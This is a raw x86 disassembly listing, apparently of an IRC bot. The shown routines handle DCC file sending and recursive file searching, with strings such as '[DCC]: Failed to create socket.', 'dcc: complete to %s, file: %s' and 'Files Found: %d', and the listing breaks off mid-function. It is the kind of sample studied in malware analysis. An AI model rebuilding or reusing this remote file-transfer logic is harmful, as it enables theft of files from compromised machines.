sub_40C040	proc near		; CODE XREF: sub_401FCDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402059
sub_40C040	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C060	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C060	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C080	proc near		; CODE XREF: sub_401839j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C080	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0A0	proc near		; CODE XREF: sub_40213Aj
		mov	eax, ecx
		retn
sub_40C0A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0C0	proc near		; CODE XREF: sub_4014A6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C0C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0F0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C0F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B86
		mov	ecx, eax
		call	sub_4016A4
		mov	esi, eax
		push	esi
		call	sub_4020F9
		push	esi
		mov	ebx, eax
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40213F
		push	esi
		mov	ebx, eax
		call	sub_4020F9
		mov	eax, [eax]
		push	eax
		call	sub_40213F
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401839
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FCD
sub_40C120	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1E0	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C1E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40155Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_40C200	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C230	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40C230	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C250	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C280	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2A0	proc near		; CODE XREF: sub_4016A4j
		mov	eax, [ecx]
		retn
sub_40C2A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2F0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C2F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C310	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C32B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C32B:				; CODE XREF: sub_40C310+11j
		retn
sub_40C310	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C360	proc near		; CODE XREF: sub_401BE5j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40C360	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C400	proc near		; CODE XREF: sub_401712j

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C400
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014D3
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40C94E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40200E
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C4CC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	sub_5EFFD5
		add	esp, 8
		jmp	loc_40C8F5
; ---------------------------------------------------------------------------


loc_40C4CC:				; CODE XREF: sub_40C400+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_40C51A
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C5C0
; ---------------------------------------------------------------------------


loc_40C51A:				; CODE XREF: sub_40C400+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014D3
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C573:				; CODE XREF: sub_40C400+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C585
		mov	eax, 5Fh
		jmp	short loc_40C588
; ---------------------------------------------------------------------------


loc_40C585:				; CODE XREF: sub_40C400+17Cj
		movsx	eax, al


loc_40C588:				; CODE XREF: sub_40C400+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C573
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C5DD
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C5C0:				; CODE XREF: sub_40C400+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C5DD:				; CODE XREF: sub_40C400+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 285042Eh
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C644
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	sub_5EFFD5
		add	esp, 8
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C644:				; CODE XREF: sub_40C400+201j
		push	0
		push	esi
		call	near ptr 2850000h
		nop
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_401424
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D60CD
		push	eax
		call	sub_401DF7
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		call	near ptr 71AB2BC0h
		nop
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_443A30
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_401681
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C73D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C73D:				; CODE XREF: sub_40C400+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C78D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C78D:				; CODE XREF: sub_40C400+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C845


loc_40C79C:				; CODE XREF: sub_40C400+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C7A7
		mov	ebp, ebx


loc_40C7A7:				; CODE XREF: sub_40C400+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		call	near ptr 284039Ch
		nop
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 2840000h
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C90E
		cmp	edi, 1
		jl	loc_40C90E
		sub	ebx, edi
		jnz	loc_40C79C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C845:				; CODE XREF: sub_40C400+396j
		push	esi
		nop
		call	near ptr 28308C8h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_401424
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014D3
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C8DA:				; CODE XREF: sub_40C400+338j
					; sub_40C400+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C8EF:				; CODE XREF: sub_40C400+1D8j
					; sub_40C400+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C8FC


loc_40C8F5:				; CODE XREF: sub_40C400+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C8FC:				; CODE XREF: sub_40C400+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 2830000h


loc_40C90E:				; CODE XREF: sub_40C400+427j
					; sub_40C400+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		call	near ptr 71AB9639h
		nop
		push	1
		call	near ptr 2830000h
		nop


loc_40C94E:				; CODE XREF: sub_40C400+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C400	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CAD0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_40CAD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CAF0:				; CODE XREF: ___:loc_401AFFj
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CB10	proc near		; CODE XREF: sub_402045j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CB10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40CB10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401BA4j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CBB0
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014D3
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CDAE
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40198D
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40200E
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E2E
		push	offset asc_443B04 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CD2B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E2E
		push	offset dword_446F74
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CD2B:				; CODE XREF: sub_40CBB0+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014D3
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_401681
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_402257
		add	esp, 18h
		lea	edx, [esp+284h+var_20C]
		push	eax
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	sub_5EFFD5
		mov	eax, [esp+28Ch+var_211]
		add	esp, 0Ch
		cmp	eax, ebx
		jnz	short loc_40CD99
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_401681
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_401523
		add	esp, 10h


loc_40CD99:				; CODE XREF: sub_40CBB0+1C6j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E24
		add	esp, 4
		push	ebx
		nop
		call	near ptr 2830000h
		pop	ebx


loc_40CDAE:				; CODE XREF: sub_40CBB0+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CE60	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CE60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CEE0:				; CODE XREF: ___:loc_40226Bj
		push	0FFFFFFFFh
		push	offset loc_438D86
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF60	proc near		; CODE XREF: sub_402257j

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_50FAD8
		push	esi
		push	offset aS_2	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		call	near ptr 2870000h
		nop
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
